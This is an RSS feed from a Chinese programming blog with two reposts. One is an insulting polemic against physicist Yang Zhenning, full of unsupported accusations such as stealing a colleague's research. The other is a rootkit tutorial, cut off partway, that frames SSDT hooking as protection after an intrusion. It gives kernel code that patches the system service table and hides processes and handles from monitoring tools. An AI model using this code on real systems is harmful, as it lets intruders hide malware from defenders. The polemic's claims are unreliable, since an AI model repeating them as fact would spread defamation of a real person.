﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-saga's blog</title><link>http://www.cppblog.com/saga/</link><description>突出重点，系统全面，不留死角</description><language>zh-cn</language><lastBuildDate>Thu, 23 Apr 2026 10:13:48 GMT</lastBuildDate><pubDate>Thu, 23 Apr 2026 10:13:48 GMT</pubDate><ttl>60</ttl><item><title>[转载]清华学生怒批杨振宁：不忠不孝不仁不义</title><link>http://www.cppblog.com/saga/archive/2008/06/16/53397.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sun, 15 Jun 2008 17:12:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/06/16/53397.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/53397.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/06/16/53397.html#Feedback</comments><slash:comments>15</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/53397.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/53397.html</trackback:ping><description><![CDATA[<div class=t_msgfont id=postmessage_12647212>转之前我说几句：<br>1，本文凤凰网审核通过 link:http://bbs.ifeng.com/viewthread.php?tid=3255187<br>2,&nbsp;&nbsp;&nbsp;我也看杨振宁不爽，这么说不犯法吧。<br>a）首先，他不要是自己爱国，不爱国的事都做了就不要再说自己是流的中国的血了。<br>b）其次，选择是人自己的自由，你有权选择美国，有权选择不回国抗战。那么当然我们鄙视你，骂你，XX你，也是我们的自由，你在美国这么多年，应该了解言论自由的精神吧。<br>c)&nbsp;&nbsp;&nbsp;再次，既然你选择了美国，现在就不要回来。回来找骂啊。sb。还回来干什么？美国人不把你当事了，回来找快感。上帝怎么没有在美国给你礼物啊。<br>总结，毕竟是在写我自己的博客，就不怎么用恶心的词了，总之，你和现在的中国足球有的一拼，骂谢亚龙的话，，骂你不为过。<br>我的自由言论完毕。下面请看正文：<br><br>清华学生怒批杨振宁：不忠不孝不仁不义<br>杨振宁自己对自己的评价：很幸运地在每一个选择的关头作了对自己人生最有利的选择。他这样一语蔽之，掩盖了其言下之意，没有像邓稼先、钱学森等人冒死回国，是自己的幸运，因为这样才不会在国内艰苦的环境中早早过世，为祖国付出毕生精力而无法享受国家的富强所提供的优越条件和上帝最后的礼物。<br><br>关于杨振宁为什么不回国，杨先生的回答是：在我之前的中国人赴海外求学，都是学成即回国。可是当我拿到博士学位之时，韩战爆发，美国不允许理工科博士回国，因此滞留在美国。而为什么加入美国国籍？杨振宁的回答是因为他所持的中华民国护照在出国旅游签证时非常不方便，所以加入美国国籍。<br><br>　　杨振宁谎话连篇<br><br>　　杨振宁说：&#8220;在我以前的一些中国留学生，绝大部分都回来了的，所以我到美国去的时候，当时就想是去那儿学成归国。可是我在做博士后的时候，杜鲁门总统就下了一道命令，说是中国血统的人在美国得了理工的博士学位，不可以回中国。所以我留在美国了。&#8221;　<br><br>在这里，我想说出心里觉得很不舒服的几句话：很多当时出国留学的杰出学者，拿的都是博士学位，他们也知道美国不允许他们回来，可是，国家正遭遇苦难，八年抗战、三年内战之后中国人民并不能完完全全地站立在世界的东方，有一个国家作为世界的唯一霸主，不肯放弃在亚洲的势力存在，所以，当摆脱八国联军、摆脱帝国主义铁蹄侵略的中华民族正有机会一统中华板块，而日本作为战败国在亚洲已奄奄一息无法实现在亚洲的实力制衡之时，巧妙插手朝鲜战争，试图在与中国东北接壤的地方建立一个傀儡国，同时牵制中国与日本，也牵制了中国统一台湾的步伐。<br><br>也许此时，作为掌握世界先进物理科学技术的顶尖科学家，留在世界上最强的国家是一种&#8220;幸运&#8221;有一整套科研环境让其攀登世界科学高峰，也有优越的环境，在杨振宁七八年后获得诺贝尔奖即可拿到普林斯顿50万美元的年薪，可是杨振宁有没有想到，为什么美国在六十年代给他媲美国际巨星的待遇？为什么有同时赴美留学的钱学森与美国抗争一年零六个月，历经美国的软禁折磨直到周恩来用朝鲜战争的十名美国战俘把他换回国？为什么同样博士学位的邓稼先不顾当时禁止理工科博士回国的禁令一定要回国为国家完成原子弹研究的事业？没有这些掌握国际先进科研技术的学者回来为国家打下国防科技、核工业的基础，中国现在有杨振宁得以享受的环境吗？<br><br>杨振宁回避并忽略了之前同一批出国留学人员的贡献，大大炫耀吹嘘自己在美的成就，并鼓励下一代科研人员走这种&#8220;有利于自己人生的选择&#8221;。对于祖国的认同因为国家的护照出国旅游不方便就抛弃了，他还有什么资格在这里宣扬自己的成就，更细致入微的比较和自己合作过的科学家在自己的科研成果中的投入，影射李政道是那种作出30％的贡献，一定要说自己有70％功劳的那种人。<br><br>杨振宁贪婪无耻？<br><br>80年代、90年代初，国内还很穷的时候，他不回国，21世纪中国大学都变富了，待遇提高了，他也老得不行了，他才想起来自己很&#8220;爱国&#8221;，自己血液里&#8220;流的是中国人的血&#8221;，简直天大的笑话！<br><br>为了抬高自己规范场的地位，把和自己合作的米尔斯教授说成是所在的俄亥俄大学五十年来所有科学上的论文、无论、生物、数学、化学、还是其它物理学成就，都没有米尔斯教授和自己发表的这篇论文重要。<br><br>以此类推，从来没有培育过诺贝尔奖获得者的清华大学，这一百多年来所有科研方面的成就，恐怕也没有杨振宁任何一篇小文章的贡献，所以，他选择80几岁后回国养老，让科研落后的中国见识一下国际级大师，也就怪不得顶着国人这么大的质疑，迎娶一位离婚在职研究生，因为以他所作出的贡献和人生抉择的成功判断，在任何时候都要作出有利于自己的选择，老年回国养老的杨振宁，不选择一位对自己追求不矣的年轻女人，还能作出什么体现其人生精明的判断和价值的呢？<br><br>杨振宁这种回避重点的说法，在主持人挖掘71年回国听到邓稼先说原子弹是完全靠中国人自己研究做出来的成果时，杨振宁为什么落泪的原因，是否因为自己的祖国能作出这样自豪的成就，而作为搞这一行、物理研究的顶尖科学家，没有为国家尽一份力的遗憾？或是这项研究居然由自己的朋友、童年一起成长一起留学的邓稼先完成，而感到懊悔呢？杨振宁的回答是很多种感情参杂在一起，不是仅仅因为一种原因才止不住落泪。<br><br>对于杨振宁这种和李政道争执了半个世纪的顶尖科学家，他怎么会不在意国家关键性的科研成就有没有自己的参与呢？可是作为因为旅游签证不方便就把自己的国籍放弃的一位所谓美籍华人，他来讲爱国，恐怕台独分子都要耻笑，试问台湾两千四百万同胞有多少人因为世界上只有二十个国家承诺中华民国，而与世界上很多国家出现签证麻烦而放弃自己的中华民国国籍？杨振宁现在还用这个理由出来讲，是不是提醒国外留学人员，当你的中国护照不好用，赶快换一本美国的吧，管他爱国不爱国&#8220;有利于自己&#8221;才是优先考量。<br><br>清华在中国的历史上，虽然没有培养出获得诺贝奖的国际性科研专家，可是为新中国的建设，做出了扎实而不受政治风气影响的奉献。无论在国家科学、工业、等各方面建设领域，都展现着一种勤勤恳恳、实事求是、中流砥柱的作用。也许中国一路走来的国力，还没有条件作出世界顶尖水平的科学研究，可是国家各方面发展特别是工科类的基础和成就，清华培养出来的人代表一种风气、一种作风，这种风气和作风，是能够在各种政治风波和潮流中，依然把握国家建设的实际工作，哪怕在文革的环境中依然没有让国家的国防科研、基础研究停滞或放弃，为中国社会民生的发展，做出符合事理的种种实干与基本原则。<br><br>可是在今天清华园的这次访问中，我觉得很多东西扭曲了。通过暧昧与一脸微笑的王志，他所想讲又不敢直接讲的那些提问，通过杨振宁得意与自我炫耀的种种做法，通过一旁满足与欣喜地参与录影的翁帆，我只能说，中国改革开放的社会观念冲击真的太大了，大到半个世纪前不顾一切回国奉献的老一辈科学家的牺牲都得重新定义与思考了。也许通过这次的提问，杨振宁会回忆起当年他所做出的选择，当年听到老朋友原子弹是中国人自己研究出来的事实那种震撼。可是今天他的选择、清华的选择、翁小姐的选择、都不是那么一回事了。<br><br>更确切的定义是：这是一位80多岁还回国养老享受国家特殊照顾的伟大美籍华人科学家，他身边是他晚年上帝所赐与的最后一个礼物，而这个礼物现在也属于美国，清华所做出的巨大投入是为这一对美籍华人在中国的价值宣扬作全面背书。杨振宁对中国最大的价值体现是其一生在任何时候都做出对的选择──当然是对他自己。这个道理也同样适用于翁帆，一位28岁嫁给82岁美籍华人的年轻女子。这恐怕是中国社会本年度最有社会价值判断的选择了。而今晚，杨振宁为这一价值认定，作最完美的解释。<br><br>杨振宁的人格<br><br>一个人要想在这样一个清浊混杂的社会里干干净净地走完自己的一生，很不容易，若还能奉献全身心于自己的事业，且能取得伟大的成果，则更难。<br><br>中国两弹元勋邓稼先就是干干净净地走完了自己一生的人，他因此受到人们的喜爱；他又是一个将整个身心奉献于自己的事业的人，因此赢得人们的崇敬；他更是一个成就丰功伟绩的人，因此使人们由衷地钦佩和敬仰。<br><br>扬振宁和邓稼先是同乡，初中同学，西南联大同学，一起坐船去美国留学。后来两人有着完全不通的价值取向，走上了完全不通的道路！扬振宁留在美国繁华世界，靠获得诺贝儿奖，出尽风头，晚年还不甘寂寞！邓稼先当年毅然回国，为中华民族的两弹一星做出了杰出的贡献！可惜的是由于当年的科研试验条件有限，人身防护条件简陋，邓稼先由于核辐射过多，身患癌症，英年早逝，实为国家民族之大殇！但历史不会忘记，人民不会忘记，从历史和国家角度来说，邓稼先必将千古流芳，永垂不朽！是他，永远的奠定了整个中华民族的战略安全和民族地位！不管过多少年，所有炎黄子孙都将崇敬他！<br><br>杨振宁为中国作了什么贡献？<br><br>杨振宁自己也总结说，想来想去，自己对于中国的贡献，顶多也就是自己和李政道是华人第一次得诺贝尔奖，从而改变了中国人认为自己不如人的心理。大家看看，这就是杨振宁对他很&#8220;爱&#8221;的祖国的最大贡献！ <br><br>在一次爆炸失败后，几个单位在推卸责任。为了找到真正的原因，必须有人到那颗原子弹被摔碎的地方去，找回一些重要的部件。邓稼先说：&#8220;谁也别去，我进去吧。你们去了也找不到，白受污染。我做的，我知道。&#8221;他一个人走进了那片地区，那片意味着死亡之地。他很快找到了核弹头，用手捧着，走了出来。最后证明是降落伞的问题。就是这一次，伏下了他死于射线之下的死因。<br><br>邓稼先有一次开会在西湖，他拉着同仁在&#8220;精忠报国&#8221;那四个古意盎然的字前照了一张相片。许鹿希说，邓不爱照相，但这张照片是他自己要照的。当初随邓稼先一起搞原子弹的科学家，有些中途而退了。因为&#8220;没有科研成果，不能家庭团聚，不许亲友通信。作为知识分子和普通人的生活、乐趣、权益，是必须牺牲掉的了。<br><br>杨振宁的不忠不孝不仁不义!<br><br>不忠：杨振宁先生在祖国最困难的时候毅然加入美国籍，父亲劝说也无效，不肯归国效力。拿到诺奖的志得意满的杨因为买不到长岛的房子耿耿于怀(最后还是屈居在教授区买了房子)<br><br>不孝：加入美国籍，为此事杨的父亲到死也没有原谅他，是为不孝。<br><br>不仁:在祖国富强时，又在与某名牌大学的互相吹捧炒作中，回国颐养天年，自从回国以来，东走走、西逛逛，忙着走穴炒作，不愿踏踏实实做工作。<br><br>不义：窃李政道的研究成果，得诺贝尔奖，还倚老卖老的将名字写在李政道的前边，并出书丑化李政道；杜夫人刚刚过世，大一的基础物理刚开课不到半个学期，就一心想着上帝的最后一个礼物...<br><br>想想学位毕业7天，不顾美国阻挠毅然回国的邓稼先，为中国的国防核工业呕心沥血，年仅52虽因放射性影响身患癌症去世。<br><br>想想同道的李政道先生早年毅然回国，从70年代起，李政道教授为中国的教育事业和科技术的发展做出了重大的贡献。为了在中国发展高能物理和建立高能加速器，后来成为建立北京正负电子对撞机(BEPC）、北京谱仪和进行高能物理实验的骨干；1982年当我国高能物理事业举棋不定的关键时刻，他帮助我国选择了一个既先进又符合国情的BEPC方案，并成为当今世界上在c-&#964;物理研究能区唯一的高亮度电子对撞机，并做出了重要的物理结果。<br><br>想想刚刚过世的陈省身先生，生活俭朴、出钱出力、培养弟子、呕心沥血，一心祖国科学事业，真泰山北斗。身为科学家，应当规范言行，树学人之楷模；<br><br>从一些以往的传记回忆中，可以得出这样一个结论：杨在人品上不及李正道，也不及大多数解放初回国的科学家。理由：从年龄上看，李比杨年轻而同时获奖，可以推知李更有创造力，而杨此后却经常纠缠于论文署名的事情，从中国社会传统可以知道，大概杨年长处于领导地位，而具体的事情大部分由李来完成（很难想象李不干什么事却去抢年长又干许多事的杨的功劳），奥本海默也调和不了。</div>
<img src ="http://www.cppblog.com/saga/aggbug/53397.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-06-16 01:12 <a href="http://www.cppblog.com/saga/archive/2008/06/16/53397.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转载]hook小结 </title><link>http://www.cppblog.com/saga/archive/2008/06/10/52802.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 10 Jun 2008 13:55:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/06/10/52802.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/52802.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/06/10/52802.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/52802.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/52802.html</trackback:ping><description><![CDATA[转载学习&nbsp;&nbsp; 原始出处不详了 因该是是邪恶八进制吧&nbsp; 不找了 呵呵<br><br>我们安全爱好者，都接触过Rootkit，它对我们入侵后的保护提供了强大的支持。现今比较流行的Rootkit有Hxdef，NtRootkit和AFX Rootkit，而且Hxdef和AFX Rootkit还提供了源代码，对我们的学习提供了很大的方便。这些Rootkit都是使用HOOK技术实现的，欺骗的是用户，而不是操作系统。使用HOOK开发Rootkit是比较简单的，虽然现在也有很多其他的技术，但门槛都太高，很多技术都需要硬编码，对于我等菜鸟，实在是没有这么高深的技术。而HOOK就不同了，它开发简单，兼容性好，而且它几乎是你在编程道路上的一项必学技术，因为太多地方需要HOOK了，使用HOOK开发Rootkit不过是其中的一个应用而已，也是学习HOOK的一项比较好的实践机会。好了，进入正题，本文涉及的内容虽然不深，但也需要你有Windows编程以及驱动程序设计的基础。另外，本文的所有内容均在Windows 2000 SP4下测试成功，如无特殊提示，所以内容都是以Windows 2000 SP4、Intel x86为平台介绍的。<br><br><br>一、序言<br><br><br>针对本文开发的Rootkit，我们常常把它称作Hook System Call、Sysem Service Call或System Service Dispatching，更正规的说法是Hook Windows系统服务调用，它是系统中的一个关键接口，提供了系统由用户态切换到内核态的功能。我们知道，一般处理器可以提供从Ring0到Ring3四种处理器模式，其中必须提供2种，就是Ring0和Ring3。一些特殊的处理器指令只能在内核模式执行，一些高端内存也必须在内核模式下才能访问（可以通过内存映射的方法解决，请参考其他文章，本文不做介绍）。Windows系统就是利用了这2个处理器模式，将系统的关键组件保护起来，只有在内核模式才可以访问，并提供了一个上层接口，供用户程序访问，一切都是在MS的管理之下（悲哀啊！）。下面是Windowx体系结构的简略图。<br><br><br>[-------------------Windowx体系结构---------------------]<br>系统进程，服务进程，应用程序，环境子系统<br>应用程序编程接口（API）<br>基于NTDLL.DLL的本地系统服务<br>（用户模式）<br>---------------------------------------------------------------<br>（内核模式）<br>系统服务调用（SSDT）<br>执行体（Executive）<br>系统内核，设备驱动（Kernel）<br>硬件抽象层（HAL）<br><br><br>二、Windows系统服务调用<br><br><br>1.机制<br>Windows 2000的陷阱调度（Trap Dispatching）机制包括了：中断（Interrupt），延迟过程调用（Deferred Procedure Call），异步过程调用（Asynchronous Procedure Call），异常调度（Exception Dispatching）和系统服务调用（System Service Call）。在Intel x86平台的Windows 2000使用int 0x2e指令进入Windows系统服务调用；Windows XP使用sysenter指令使系统陷入系统服务调用程序中；而AMD平台的Windows XP系统使用syscall指令进入Windows系统服务调用。下面是Intel x86平台的Windows 2000的系统服务调用模型。<br><br><br>mov eax, ServiceId <br>lea edx, ParameterTable<br>int 2eh<br>ret ParamTableBytes<br><br><br>其中ServiceId是传递给系统服务调用程序的ID号，内核使用这个ID号来查找系统服务调度表（System Service Dispath Table）中的对应系统服务信息。在系统服务调度表中，每一项都包含了一个指向具体的系统服务程序的指针，我们就是需要HOOK这个指针，使其指向我们自定义的代码（稍后会详述）。ParameterTable是传递的参数，系统服务调用程序KiSystemService函数会严格检查传递的每一个参数，并将其参数从线程的用户内存中复制到系统的内存中，以便内核可以访问。执行的int指令会导致陷阱发生，所以Windows 2000内的中断描述表（Interrupt Descriptor Table）中的0x2e指向了系统服务调用程序。最后的ParamTableBytes是返回的参数个数的信息。<br><br>其实，系统服务调用也是一个接口，是面向Windows内核的接口。它实现了将用户模式下的请求转发到内核模式下，并引发了处理器模式的切换。在用户看来，系统服务调用就是与Windows内核通信的一个桥梁。<br><br>2.类型<br>在Windows 2000中默认存在两个系统服务调度表，它们对应了两类不同的系统服务。这两个系统服务调度表分别是：KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者有ntoskrnl.exe导出，后者由Win32k.sys导出。在系统中，有三个DLL是最重要的：Kernel32.dll、User32.dll和Gdi32.dll，这些DLL导出的函数，都是通过某种类型的中断进入内核态，然后调用ntoskrnl.exe或Win32k.sys中的函数。函数KeAddSystemServiceTable允许Win32.sys和其他设备驱动程序添加系统服务表。除了Win32k.sys服务表外，使用KeAddSystemServiceTable添加的服务表会被同时复制到KeServiceDescriptorTable和KeServiceDescriptorTableShadow中去。<br><br>●注：由于本文的Rootkit只针对KeServiceDescriptorTable，KeServiceDescriptorTableShadow只会稍微提及一些，不会详述。●<br><br>另外在提一下，NTDLL.DLL和ntoskrnl.exe的关系很&#8220;微妙&#8221;，用户态和内核态的调用也是有分别的，比如：参数检查。还有Native API导出了2套函数：Zw***和Nt***，要想彻底了解这些内容，推荐看Sunwear写的《浅析本机API》，我们的论坛原创版有这篇文章<a href="http://www.eviloctal.com/forum/index.php" target=_blank><u><font color=#0000ff>http://www.eviloctal.com/forum/index.php</font></u></a>。<br><br>综上所述，Kernel32.dll/Advapi32.dll进入NTDLL.DLL后，使用int 0x2e中断进入内核，最后在ntoskrnl.exe中实现了真正的函数调用；User32.dll和Gdi32.dll则在Win32k.sys中实现了真正的函数调用。<br><br><br>三、HOOK系统服务<br><br><br>HOOK系统服务，首先需要定位系统服务调度表，这里需要一个未公开的ntoskrnl.exe导出单元KeServiceDescriptorTable，它对应一个简单的数据结构，使用它完成对系统服务调度表的修改。<br><br><br>typedef struct servicetable<br>{<br>UINT *ServiceTableBase;<br>UINT *ServiceCounterTableBase;<br>UINT NumberOfService;<br>UCHAR *ParamerterTableBase;<br>}ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;<br><br><br>ServiceTableBase指向系统服务程序的地址，我们需要对它进行HOOK，使这个地址指向我们的代码。ParamerterTableBase是参数列表的地址，它们都包含了NumberOfService这么多个单元。<br><br>我们先用SoftICE分析一下系统服务调度表。使用ntcall命令可以列出系统中的系统服务调度表，但不同的系统，不同的SP补丁，系统服务调度表肯定是不会相同的，因为MS随时都会修改此表。Ntcall命令的输出类似这样：<br><br>000A 0008:8049860A params=06 NtAdjustPrivilegesToken<br><br>000A是它的序号，8049860A是其地址，params=06表示有6个参数，NtAdjustPrivilegesToken就是函数名了，对应的API是AdjustPrivilegesToken。Win32k.sys导出的系统服务调度表位于KeServiceDescriptorTable+50h处，ServiceID从1000h开始，其结构基本和ntoskrnl.exe一样。我们具体看一下，由于SoftICE的输出非常多，这里只节选一小部分。<br><br><br>:dd KeServiceDescriptorTable l 4*4<br>//如果要查看Win32k.sys，则使用dd KeServiceDescriptorTable+50 l 4*4<br>0008:8047F7E0 80471128 00000000 000000F8 8047150C &#8230;&#8230;<br>&#8230;&#8230;<br><br>8047F7E0为KeServiceDescriptorTable的地址，80471128为ServiceTableBase的地址，000000F8为NumberOfService，8047150C为ParamerterTableBase。<br><br>:dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4<br>0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE &#8230;&#8230;<br>&#8230;&#8230;<br><br>80471128地址处为ServiceID=0的系统服务入口地址。在来看一下参数列表。<br><br>:dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))<br>0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 &#8230;&#8230;<br>:db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))<br>0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 &#8230;&#8230;<br><br><br>18 20 2C 2C，这里的18表示参数个数，即18h/4=6。根据上面的分析，我们只要修改ServiceTableBase到ServiceTableBase+NumberOfService*4范围的数据就可以改变系统服务的执行流程；修改ServiceID就可以改变这一个系统服务的入口地址，我以ZwQuerySystemInformation为例说明一下。<br><br><br>:u ZwQuerySystemInformation<br>ntoskrnl!ZwQuerySystemInformation<br>0008:8042F288 MOV EAX, 00000097<br>0008:8042F280 LEA EDX, [ESP+04]<br>0008:8042F291 INT 2E<br>0008:8042F293 RET 0010<br><br><br>使用ZwQuerySystemInformation的线性地址+1，就可以定位ServiceID，即入口地址，将这个地址指向我们的函数，就大功告成了。首先需要将KeServiceDescriptorTable引入，这样才能操作系统服务调度表。<br><br>__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;<br><br><br>然后定义一个宏，参数是需要HOOK函数的线性地址。<br><br>#define SYSCALL(_Function) <br>KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]<br><br><br>将_Function+1即可确定ServiceID的位置，即在系统服务调度表中的入口地址。有了这个宏，就可以&#8220;自由&#8221;的将地址指向&#8220;任何&#8221;位置，我以ZwQuerySystemInformation为例进行演示。首先定义一个typedef函数指针，用于保存原ZwQuerySystemInformation的地址。<br><br><br>typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (<br>IN ULONG SystemInformationClass,<br>&#8230;&#8230;);<br><br><br><br>声明ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 然后定义HOOK函数。<br><br><br>NTSTATUS NewZwQuerySystemInformation (<br>&#8230;&#8230;);<br><br><br>最后还差一个线性地址的函数，这个函数需要遵循DDK函数的调用约定，它什么工作都不做，只是帮助我们得到线性地址，进而在系统服务调度表中找到入口地址。<br><br><br>NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (<br>&#8230;&#8230;);<br><br><br>万事具备，只欠东风。使用SYSCALL宏保存原函数地址，然后指向新函数。<br><br><br>OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //保存原函数地址<br><br>_asm cli<br><br>(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //指向新函数<br><br>_asm sti<br><br><br>还原的时候只需将OldZwQuerySystemInformation的地址指向ServiceTableBase即可。<br><br><br>_asm cli<br>(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //还原<br><br>_asm sti<br><br><br>这样就可以HOOK成功了。其实想想，不过是使用HOOK函数的线性地址确定在系统服务调度表中的入口地址，然后将这个入口地址指向新函数或旧函数，用SoftICE看看HOOK前后的系统服务调度表就明白了。<br><br>下面的内容就是具体开发了，包括隐藏进程，文件/目录，端口，注册表，内核模块，服务/驱动，用户，需要说一下的是，隐藏服务/驱动，用户是用户态的HOOK，在隐藏服务的章节中，我会介绍用户态的HOOK，其他都是在内核下完成的。<br><br><br>四、隐藏进程<br><br><br>我们平常枚举进程，都是使用HelpTool库、Psapi库中的函数，这些函数最终会调用ZwQuerySystemInformation函数，所以只要HOOK这个函数，就可以隐藏进程，使类似任务管理器这样的工具不会发现隐藏的进程。HOOK的方法前边已经说过，所以这里只给出HOOK后函数的处理代码，很好理解。<br><br>首先说说ZwQuerySystemInformation函数，使用它可以查询详细的系统信息，信息类型多达54种，我们在用户态使用的很多查询系统信息的API，其实最终都是调用的它。在这54种查询类型中，包含进程信息的有2个，一个是信息类型为5，另一个则为16，前者为系统的进程信息，后者为系统的句柄表，其中包含进程ID。这2个查询信息的方法是不同的，所以要分别HOOK。下面是ZwQuerySystemInformation函数的原型。<br><br>NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (<br>IN ULONG SystemInformationClass, //获取的系统信息类别<br>IN OUT PVOID SystemInformation, //返回的信息指针<br>IN ULONG SystemInforamtionLength, //长度<br>OUT PULONG ReturnLength OPTIONAL); //实际的缓冲区大小<br><br>如果SystemInformationClasss为5，那么SystemInformation会返回下面这个结构。<br><br>typedef struct system_porcess<br>{<br>ULONG NextEntryDelta; //进程偏移<br>ULONG ThreadCount; //线程数<br>ULONG Reserved1[6]; //保留<br>LARGE_INTEGER CreateTime; //进程创建时间<br>LARGE_INTEGER KernelTime; //内核占用时间<br>LARGE_INTEGER UserTime; //用户占用时间<br>UNICODE_STRING ProcessName; //进程名<br>KPRIORITY BasePriority; //优先级<br>ULONG ProcessId; //进程ID<br>ULONG InheritedProcessId; //父进程ID<br>ULONG HandleCount; //句柄数<br>ULONG Reserved2[2]; //保留<br>VM_COUNTERS VmCounters; //VM信息<br>IO_COUNTERS IoCounters; //IO信息<br>SYSTEM_THREAD SystemThread[1]; //线程信息<br>}SYSTEM_PROCESS,*LPSYSTEM_PROCESS;<br><br>如果SystemInformationClasss为16，则返回下面这个结构。<br>typedef struct system_handle_entry<br>{<br>ULONG ProcessId; //进程ID<br>UCHAR ObjectType; //句柄类型<br>UCHAR Flags; //标志<br>USHORT HandleValue; //句柄的数值<br>PVOID ObjectPointer; //句柄所指向的内核对象地址<br>ACCESS_MASK GrantedAccess; //访问权限<br>}SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;<br><br>typedef struct system_handle_info<br>{<br>ULONG Count; //系统句柄数<br>SYSTEM_HANDLE_ENTRY Handle[1]; //句柄信息<br>}SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;<br><br>对于信息类5，我们需要改变NextEntryDelta结构成员，它是进程列表的偏移地址。比如第一个进程信息在SystemInformation+0处，那么第二个信息就在SystemInformation+第一个NextEntryDelta处，依次类推，最后一个进程信息的NextEntryDelta就为0了。也就是说，如果要隐藏第一个进程，就向前移动缓冲区，移动的长度是第一个进程信息结构的大小；如果要隐藏中间的进程，则多加一个NextEntryDelta，就可以覆盖掉要隐藏的进程信息结构；如果要隐藏最后一个进程，将NextEntryDelta设置为0就可以了。<br><br>对于信息类16，就没有什么偏移地址了，而是一个完整的缓冲区，我们要隐藏那个句柄，就向前移动SYSTEM_HANDLE_ENTRY结构的大小，覆盖掉要隐藏的数据。<br><br>NTSTATUS NewZwQuerySystemInformation (<br>IN ULONG SystemInformationClass,<br>&#8230;&#8230;)<br>{<br>......<br>//请求原函数<br>ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,&#8230;&#8230;);<br><br>//SystemInformationClass==16 枚举系统句柄表<br>if (NT_SUCCESS(ntStatus) &amp;&amp; SystemInformationClass==16)<br>{<br>//指向句柄表缓冲区<br>lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;<br>Num=lpSystemHandle-&gt;Count; //取得系统句柄数<br><br>for (n=0; n&lt;Num; n++)<br>{<br>//比较句柄表中的进程ID<br>if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle-&gt;Handle[n].ProcessId)<br>{<br>//向前移动句柄表缓冲区<br>memcpy((lpSystemHandle-&gt;Handle+n),(lpSystemHandle-&gt;Handle+n+1),<br>(Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));<br>Num--; //总数要--<br>n--;<br>}<br>}<br>}<br><br>//SystemInformationClass==5 枚举系统进程<br>if (NT_SUCCESS(ntStatus) &amp;&amp; SystemInformationClass==5)<br>{<br>//指向进程列表缓冲区<br>ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;<br>while (ProcCurr)<br>{<br>RtlUnicodeStringToAnsiString(&amp;ProcNameAnsi,&amp;ProcCurr-&gt;ProcessName,TRUE);<br>if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,<br>strlen(ProcNameAnsi.Buffer))==0)<br>{<br>//移动进程偏移NextEntryDelta<br>if (ProcPrev)<br>{<br>if (ProcCurr-&gt;NextEntryDelta)<br>ProcPrev-&gt;NextEntryDelta+=ProcCurr-&gt;NextEntryDelta;<br>else<br>ProcPrev-&gt;NextEntryDelta=0;<br>}<br>else<br>{<br>if (ProcCurr-&gt;NextEntryDelta)<br>SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)<br>ProcCurr+ProcCurr-&gt;NextEntryDelta);<br>else<br>SystemInformation=NULL;<br>}<br>}<br><br>ProcPrev=ProcCurr;<br>//下一进程<br>if (ProcCurr-&gt;NextEntryDelta)<br>ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)<br>ProcCurr+ProcCurr-&gt;NextEntryDelta);<br>else<br>ProcCurr=NULL;<br>}<br>}<br><br>&#8230;&#8230;<br>return ntStatus;<br>}<br><br>HIDDEN_SYSTEM_HANDLE和HIDDEN_SYSTEM_PROCESS是2个宏，分别为隐藏的进程ID和进程名。下面介绍隐藏文件/目录。<br><br><br>五、隐藏文件/目录<br><br><br>枚举文件使用ZwQueryDirectoryFile函数，其原型如下：<br><br>NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (<br>IN HANDLE hFile,<br>IN HANDLE hEvent OPTIONAL,<br>IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,<br>IN PVOID IoApcContext OPTIONAL,<br>OUT PIO_STATUS_BLOCK pIoStatusBlock,<br>OUT PVOID 